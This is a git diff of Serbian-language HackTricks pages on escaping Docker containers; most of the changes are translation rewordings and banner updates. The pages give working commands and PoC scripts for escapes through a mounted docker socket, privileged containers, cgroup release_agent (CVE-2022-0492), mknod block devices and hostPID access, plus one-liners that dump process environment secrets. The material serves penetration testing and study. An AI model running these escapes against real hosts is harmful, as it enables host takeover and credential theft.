Ako imate pristup Docker socket-u ili pristup korisniku u **docker grupi ali vaše akcije su ograničene Docker autentifikacionim dodatkom**, proverite da li ga možete **bajpasovati:**
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -407,7 +407,7 @@ Morate pokrenuti alat sa hosta koji pokreće Docker ili iz kontejnera sa dovoljn
|
|||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -416,14 +416,12 @@ Pristupite danas:
|
|||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks merch**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 **Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,42 +4,42 @@
|
|||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini da podržite HackTricks:
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Automatsko nabrojavanje i bekstvo
|
||||
## Automatsko Nabrojavanje i Bekstvo
|
||||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Može takođe **nabrojati kontejnere**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Ovaj alat je prilično **koristan za nabrojavanje kontejnera u kojem se nalazite, pa čak i za automatsko bekstvo**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Koristan alat za dobijanje privilegija koje kontejner ima kako biste pronašli načine za bekstvo iz njega
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Koristan alat za dobijanje privilegija koje kontejner ima kako bi se pronašao način za bekstvo iz njega
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): Alat za nabrojavanje i bekstvo iz kontejnera
|
||||
* [**grype**](https://github.com/anchore/grype): Dobijte CVE-ove koji se nalaze u softveru instaliranom na slici
|
||||
* [**grype**](https://github.com/anchore/grype): Dobijanje CVE-ova koji se nalaze u softveru instaliranom na slici
|
||||
|
||||
## Bekstvo iz montiranog Docker Socket-a
|
||||
## Bekstvo Montiranog Docker Socketa
|
||||
|
||||
Ako na neki način otkrijete da je **Docker Socket montiran** unutar Docker kontejnera, moći ćete da pobegnete iz njega.\
|
||||
Ovo se obično dešava u Docker kontejnerima koji iz nekog razloga moraju da se povežu sa Docker daemonom radi izvršavanja radnji.
|
||||
Ako na neki način otkrijete da je **docker socket montiran** unutar docker kontejnera, moći ćete da pobegnete iz njega.\
|
||||
Ovo se obično dešava u docker kontejnerima koji iz nekog razloga moraju da se povežu sa docker demonom kako bi obavili akcije.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
U ovom slučaju možete koristiti redovne docker komande za komunikaciju sa docker daemonom:
|
||||
U ovom slučaju možete koristiti redovne docker komande za komunikaciju sa docker daemon-om:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
|
@ -54,13 +54,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ukoliko je **docker socket na neočekivanom mestu**, i dalje možete komunicirati sa njim koristeći **`docker`** komandu sa parametrom **`-H unix:///path/to/docker.sock`**
|
||||
U slučaju da je **docker socket na neočekivanom mestu** i dalje možete komunicirati s njim koristeći **`docker`** komandu sa parametrom **`-H unix:///putanja/do/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
Docker daemon takođe može [slušati na portu (podrazumevano 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ili na sistemima zasnovanim na Systemd-u, komunikacija sa Docker daemonom može se odvijati preko Systemd socket-a `fd://`.
|
||||
Docker daemon može takođe [slušati na portu (podrazumevano 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ili na Systemd baziranim sistemima, komunikacija sa Docker daemonom može se odvijati preko Systemd socketa `fd://`.
|
||||
|
||||
{% hint style="info" %}
|
||||
Dodatno, obratite pažnju na runtime socket-e drugih visokog nivoa runtime-ova:
|
||||
Dodatno, obratite pažnju na runtime sockete drugih visokonivnih runtime-ova:
|
||||
|
||||
* dockershim: `unix:///var/run/dockershim.sock`
|
||||
* containerd: `unix:///run/containerd/containerd.sock`
|
||||
|
@ -70,15 +70,15 @@ Dodatno, obratite pažnju na runtime socket-e drugih visokog nivoa runtime-ova:
|
|||
* ...
|
||||
{% endhint %}
|
||||
|
||||
## Zloupotreba privilegija za bekstvo
|
||||
## Zloupotreba sposobnosti za bekstvo
|
||||
|
||||
Trebali biste proveriti privilegije kontejnera, ako ima neku od sledećih, možda ćete moći da pobegnete iz njega: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
Treba da proverite sposobnosti kontejnera, ako ima bilo koju od sledećih, možda ćete moći da pobegnete iz njega: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Trenutne privilegije kontejnera možete proveriti koristeći **prethodno pomenute automatske alate** ili:
|
||||
Trenutne sposobnosti kontejnera možete proveriti koristeći **prethodno pomenute automatske alate** ili:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
Na sledećoj stranici možete **saznati više o Linux sposobnostima** i kako ih zloupotrebiti da biste pobegli/escalirali privilegije:
|
||||
Na sledećoj stranici možete **saznati više o Linux sposobnostima** i kako ih zloupotrebiti da biste pobegli/povećali privilegije:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
|
@ -86,7 +86,7 @@ Na sledećoj stranici možete **saznati više o Linux sposobnostima** i kako ih
|
|||
|
||||
## Bekstvo iz privilegovanih kontejnera
|
||||
|
||||
Privilegovani kontejner može biti kreiran sa zastavicom `--privileged` ili onemogućavanjem određenih odbrana:
|
||||
Privilegovani kontejner može biti kreiran sa zastavicom `--privileged` ili onemogućavanjem specifičnih odbrana:
|
||||
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
|
@ -98,7 +98,7 @@ Privilegovani kontejner može biti kreiran sa zastavicom `--privileged` ili onem
|
|||
* `--cgroupns=host`
|
||||
* `Mount /dev`
|
||||
|
||||
Zastavica `--privileged` značajno smanjuje sigurnost kontejnera, omogućavajući **neograničen pristup uređajima** i zaobilazeći **nekoliko zaštita**. Za detaljnije informacije, pogledajte dokumentaciju o potpunim uticajima `--privileged` zastavice.
|
||||
Zastavica `--privileged` značajno smanjuje sigurnost kontejnera, nudeći **neograničen pristup uređajima** i zaobilazeći **nekoliko zaštita**. Za detaljnije informacije, pogledajte dokumentaciju o punim uticajima `--privileged`.
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -106,7 +106,7 @@ Zastavica `--privileged` značajno smanjuje sigurnost kontejnera, omogućavajuć
|
|||
|
||||
### Privilegovani + hostPID
|
||||
|
||||
Sa ovim dozvolama možete jednostavno **preći u namespace procesa koji se izvršava na hostu kao root**, kao što je init (pid:1), samo pokretanjem: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
Sa ovim dozvolama možete jednostavno **preći u namespace procesa koji se izvršava na hostu kao root** kao što je init (pid:1) samo pokretanjem: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Testirajte to u kontejneru izvršavanjem:
|
||||
```bash
|
||||
|
@ -114,28 +114,28 @@ docker run --rm -it --pid=host --privileged ubuntu bash
|
|||
```
|
||||
### Privilegovani
|
||||
|
||||
Samo sa privilegovanom zastavicom možete pokušati **pristupiti disku domaćina** ili pokušati **izbeći zloupotrebu release\_agenta ili drugih bekstava**.
|
||||
Samo sa privilegovanom zastavicom možete pokušati **pristupiti disku domaćina** ili pokušati **pobegnuti zloupotrebom release\_agent-a ili drugih bekstava**.
|
||||
|
||||
Testirajte sledeće zaobilaženja u kontejneru izvršavanjem:
|
||||
Testirajte sledeće obilaske u kontejneru izvršavanjem:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### Montiranje diska - Poc1
|
||||
|
||||
Dobro konfigurisani Docker kontejneri neće dozvoliti komandu poput **fdisk -l**. Međutim, na loše konfigurisanoj Docker komandi gde je specificiran flag `--privileged` ili `--device=/dev/sda1` sa privilegijama, moguće je dobiti privilegije za pregled host drajva.
|
||||
Dobro konfigurisani Docker kontejneri neće dozvoliti komandu poput **fdisk -l**. Međutim, na loše konfigurisanoj Docker komandi gde je specificiran flag `--privileged` ili `--device=/dev/sda1` sa privilegijama, moguće je dobiti privilegije da se vidi drajv domaćina.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
Dakle, da preuzmemo kontrolu nad host mašinom, to je trivijalno:
|
||||
Dakle, da preuzmete kontrolu nad mašinom domaćina, to je trivijalno:
|
||||
```bash
|
||||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
I eto! Sada možete pristupiti datotečnom sistemu domaćina jer je montiran u fascikli `/mnt/hola`.
|
||||
I eto! Sada možete pristupiti fajl sistemu domaćina jer je montiran u fascikli `/mnt/hola`.
|
||||
|
||||
#### Montiranje diska - Poc2
|
||||
|
||||
Unutar kontejnera, napadač može pokušati da dobije dalji pristup osnovnom operativnom sistemu domaćina putem hostPath volumena koji je kreiran od strane klastera. U nastavku su neke uobičajene stvari koje možete proveriti unutar kontejnera da biste videli da li koristite ovaj vektor napada:
|
||||
Unutar kontejnera, napadač može pokušati da dobije dalji pristup osnovnom host OS putem hostPath zapisa koji je kreiran od strane klastera. U nastavku su neke uobičajene stvari koje možete proveriti unutar kontejnera da biste videli da li možete iskoristiti ovaj vektor napadača:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -156,7 +156,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### Privilegovano bekstvo zloupotrebom postojećeg release\_agenta ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
#### Privilegovano bežanje zloupotrebom postojećeg release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
|
||||
{% code title="Početni PoC" %}
|
||||
```bash
|
||||
|
@ -192,11 +192,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
|||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Zloupotreba privilegija putem kreiranja release\_agenta ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
{% code title="Drugi PoC" %}
|
||||
#### Privilegovano bežanje zloupotrebom kreiranog release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
```bash
|
||||
# On the host
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
|
@ -246,9 +242,9 @@ Pronađite **objašnjenje tehnike** u:
|
|||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Privilegovano izbegavanje korišćenjem release\_agent-a bez poznavanja relativne putanje - PoC3
|
||||
#### Privilegovano bežanje zloupotrebom release\_agent-a bez poznavanja relativne putanje - PoC3
|
||||
|
||||
U prethodnim eksploatacijama je **otkrivena apsolutna putanja kontejnera unutar hosts fajl sistema**. Međutim, to nije uvek slučaj. U situacijama kada **ne znate apsolutnu putanju kontejnera unutar hosta** možete koristiti ovu tehniku:
|
||||
U prethodnim eksploatacijama **otkrivena je apsolutna putanja kontejnera unutar datotečnog sistema domaćina**. Međutim, to nije uvek slučaj. U situacijama kada **ne znate apsolutnu putanju kontejnera unutar domaćina**, možete koristiti ovu tehniku:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -312,7 +308,7 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
Izvršavanje PoC-a unutar privilegovanog kontejnera trebalo bi pružiti sličan izlaz:
|
||||
Izvršavanje PoC-a unutar privilegovanog kontejnera trebalo bi da pruži izlaz sličan:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
|
@ -340,9 +336,9 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Zloupotreba privilegija putem osetljivih montaža
|
||||
#### Zloupotreba Osetljivih Montaža za Eskalaciju Ovlašćenja
|
||||
|
||||
Postoji nekoliko datoteka koje mogu biti montirane i koje pružaju **informacije o osnovnom hostu**. Neke od njih čak mogu ukazivati na **nešto što će biti izvršeno od strane hosta kada se nešto dogodi** (što će omogućiti napadaču da pobegne iz kontejnera).\
|
||||
Postoje nekoliko datoteka koje mogu biti montirane koje pružaju **informacije o osnovnom hostu**. Neke od njih čak mogu ukazivati na **nešto što će biti izvršeno od strane hosta kada se nešto desi** (što će omogućiti napadaču da pobegne iz kontejnera).\
|
||||
Zloupotreba ovih datoteka može omogućiti:
|
||||
|
||||
* release\_agent (već obrađeno ranije)
|
||||
|
@ -351,22 +347,22 @@ Zloupotreba ovih datoteka može omogućiti:
|
|||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
Međutim, možete pronaći **druge osetljive datoteke** koje treba proveriti na ovoj stranici:
|
||||
Međutim, možete pronaći **druge osetljive datoteke** za proveru na ovoj stranici:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Proizvoljne montaže
|
||||
### Proizvoljne Montaže
|
||||
|
||||
U nekoliko situacija ćete primetiti da je **kontejner montirao neki volumen sa hosta**. Ako ovaj volumen nije pravilno konfigurisan, možda ćete moći **pristupiti/izmeniti osetljive podatke**: Čitati tajne, menjati ssh authorized\_keys...
|
||||
U nekoliko prilika ćete primetiti da je **kontejner montirao neki volumen sa hosta**. Ako ovaj volumen nije pravilno konfigurisan, možda ćete moći da **pristupite/izmenite osetljive podatke**: Čitate tajne, menjate ssh authorized\_keys...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### Eskalacija privilegija sa 2 školjke i host montažom
|
||||
|
||||
Ako imate pristup kao **root unutar kontejnera** koji ima neki folder sa hosta montiran i uspeli ste da pobegnete kao neprivilegovani korisnik na hostu i imate pristup za čitanje preko montiranog foldera.\
|
||||
Možete kreirati **bash suid fajl** u **montiranom folderu** unutar **kontejnera** i **izvršiti ga sa hosta** kako biste izvršili eskalaciju privilegija.
|
||||
Ako imate pristup kao **root unutar kontejnera** koji ima neki folder sa hosta montiran i uspeli ste kao neprivilegovani korisnik da pobegnete na host i imate pristup za čitanje preko montiranog foldera.\
|
||||
Možete kreirati **bash suid fajl** u **montiranom folderu** unutar **kontejnera** i **izvršiti ga sa hosta** radi eskalacije privilegija.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -376,10 +372,10 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### Eskalacija privilegija sa 2 školjke
|
||||
|
||||
Ako imate pristup kao **root unutar kontejnera** i uspeli ste da **izađete kao korisnik bez privilegija na hostu**, možete iskoristiti obe školjke da biste **eskaliarali privilegije na hostu** ako imate mogućnost MKNOD unutar kontejnera (što je podrazumevano) kao što je [**objašnjeno u ovom postu**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Sa takvom mogućnošću, korisnik root unutar kontejnera ima dozvolu da **kreira blok uređajne fajlove**. Uređajni fajlovi su posebni fajlovi koji se koriste za **pristupanje hardveru i jezgrovim modulima**. Na primer, blok uređajni fajl /dev/sda omogućava pristup **čitanju sirovih podataka na sistemskom disku**.
|
||||
Ako imate pristup kao **root unutar kontejnera** i uspeli ste kao **neprivilegovani korisnik da pobegnete na host**, možete zloupotrebiti obe školjke da biste **eskaliirali privilegije unutar hosta** ako imate mogućnost MKNOD unutar kontejnera (to je podrazumevano) kao što je [**objašnjeno u ovom postu**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Sa takvom mogućnošću, korisnik root unutar kontejnera ima dozvolu da **kreira blok uređajne datoteke**. Uređajne datoteke su posebne datoteke koje se koriste za **pristupanje osnovnom hardveru i jezgrovim modulima**. Na primer, blok uređajna datoteka /dev/sda omogućava pristup **čitanju sirovih podataka na sistemu diska**.
|
||||
|
||||
Docker štiti od zloupotrebe blok uređajnih fajlova unutar kontejnera primenom cgroup politike koja **blokira operacije čitanja/pisanja blok uređaja**. Međutim, ako se blok uređaj kreira unutar kontejnera, postaje dostupan izvan kontejnera putem direktorijuma **/proc/PID/root/**. Pristup zahteva da **vlasnik procesa bude isti** i unutar i izvan kontejnera.
|
||||
Docker štiti od zloupotrebe blok uređajnih datoteka unutar kontejnera primenom cgroup politike koja **blokira operacije čitanja/pisanja blok uređajnih datoteka**. Međutim, ako se blok uređajna datoteka **kreira unutar kontejnera**, postaje dostupna spoljašnjem svetu putem direktorijuma **/proc/PID/root/**. Za ovaj pristup je potrebno da **vlasnik procesa bude isti** i unutar i izvan kontejnera.
|
||||
|
||||
Primer **eksploatacije** iz ovog [**izveštaja**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
|
@ -419,13 +415,13 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
### hostPID
|
||||
|
||||
Ako možete pristupiti procesima domaćina, moći ćete pristupiti mnogim osetljivim informacijama koje se čuvaju u tim procesima. Pokrenite testnu laboratoriju:
|
||||
Ako možete pristupiti procesima domaćina, moći ćete pristupiti mnogim osetljivim informacijama koje se čuvaju u tim procesima. Pokrenite test laboratoriju:
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
Na primer, moći ćete da izlistate procese koristeći nešto poput `ps auxn` i pretražite osetljive detalje u komandama.
|
||||
Na primer, moći ćete da izlistate procese koristeći nešto poput `ps auxn` i tražite osetljive detalje u komandama.
|
||||
|
||||
Zatim, pošto možete **pristupiti svakom procesu na hostu u /proc/ možete samo ukrasti njihove tajne iz okruženja** pokretanjem:
|
||||
Zatim, kako možete **pristupiti svakom procesu domaćina u /proc/, možete jednostavno ukrasti njihove tajne okoline** pokretanjem:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -434,7 +430,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
Možete takođe **pristupiti file deskriptorima drugih procesa i čitati njihove otvorene fajlove**:
|
||||
Takođe možete **pristupiti datotekama deskriptora drugih procesa i pročitati njihove otvorene datoteke**:
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -447,49 +443,49 @@ cat /proc/635813/fd/4
|
|||
Takođe možete **ubiti procese i izazvati DoS**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ako na neki način imate privilegovan **pristup procesu van kontejnera**, možete pokrenuti nešto poput `nsenter --target <pid> --all` ili `nsenter --target <pid> --mount --net --pid --cgroup` da **pokrenete shell sa istim ns ograničenjima** (nadam se bez ograničenja) **kao taj proces**.
|
||||
Ako na neki način imate privilegovan **pristup procesu van kontejnera**, možete pokrenuti nešto poput `nsenter --target <pid> --all` ili `nsenter --target <pid> --mount --net --pid --cgroup` da **pokrenete shell sa istim ns ograničenjima** (nadam se nijednim) **kao taj proces.**
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
Ako je kontejner konfigurisan sa Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), mrežni stek tog kontejnera nije izolovan od Docker hosta (kontejner deli mrežni namespace sa hostom) i kontejner ne dobija dodeljenu sopstvenu IP adresu. Drugim rečima, **kontejner direktno vezuje sve servise za IP adresu hosta**. Osim toga, kontejner može **interceptirati SAV mrežni saobraćaj koji host šalje i prima na deljenoj interfejsu `tcpdump -i eth0`**.
|
||||
Ako je kontejner konfigurisan sa Docker [host mrežnim drajverom (`--network=host`)](https://docs.docker.com/network/host/), mrežni skup tog kontejnera nije izolovan od Docker hosta (kontejner deli mrežni prostor hosta), i kontejner ne dobija dodeljenu svoju IP adresu. Drugim rečima, **kontejner povezuje sve usluge direktno na IP hosta**. Osim toga, kontejner može **interceptovati SAV mrežni saobraćaj koji host** šalje i prima na deljenom interfejsu `tcpdump -i eth0`.
|
||||
|
||||
Na primer, možete koristiti ovo da **snimate i čak falsifikujete saobraćaj** između hosta i instance metapodataka.
|
||||
Na primer, možete koristiti ovo da **snifujete čak i lažirate saobraćaj** između hosta i instance metapodataka.
|
||||
|
||||
Kao u sledećim primerima:
|
||||
|
||||
* [Writeup: Kako kontaktirati Google SRE: Ubacivanje školjke u cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM omogućava eskalaciju privilegija (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
* [Analiza: Kako kontaktirati Google SRE: Ubacivanje shell-a u cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [MITM servis metapodataka omogućava eskalaciju privilegija na root nivo (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
Takođe ćete moći da pristupite **mrežnim servisima vezanim za localhost** unutar hosta ili čak pristupite **dozvolama metapodataka čvora** (koje mogu biti različite od onih koje kontejner može da pristupi).
|
||||
Takođe ćete moći da pristupite **mrežnim uslugama povezanim na localhost** unutar hosta ili čak pristupite **dozvolama metapodataka čvora** (koje mogu biti različite od onih do kojih kontejner može da pristupi).
|
||||
|
||||
### hostIPC
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Sa `hostIPC=true`, dobijate pristup resursima međuprocesne komunikacije (IPC) domaćina, kao što je **deljena memorija** u `/dev/shm`. Ovo omogućava čitanje/pisanje gde se isti IPC resursi koriste od strane drugih procesa domaćina ili podova. Koristite `ipcs` da biste dalje pregledali ove IPC mehanizme.
|
||||
Sa `hostIPC=true`, dobijate pristup resursima međuprocesne komunikacije (IPC) domaćina, poput **deljene memorije** u `/dev/shm`. Ovo omogućava čitanje/pisanje gde se isti IPC resursi koriste od strane drugih procesa domaćina ili čaura. Koristite `ipcs` da biste detaljnije pregledali ove IPC mehanizme.
|
||||
|
||||
* **Pregledajte /dev/shm** - Potražite datoteke na ovoj lokaciji deljene memorije: `ls -la /dev/shm`
|
||||
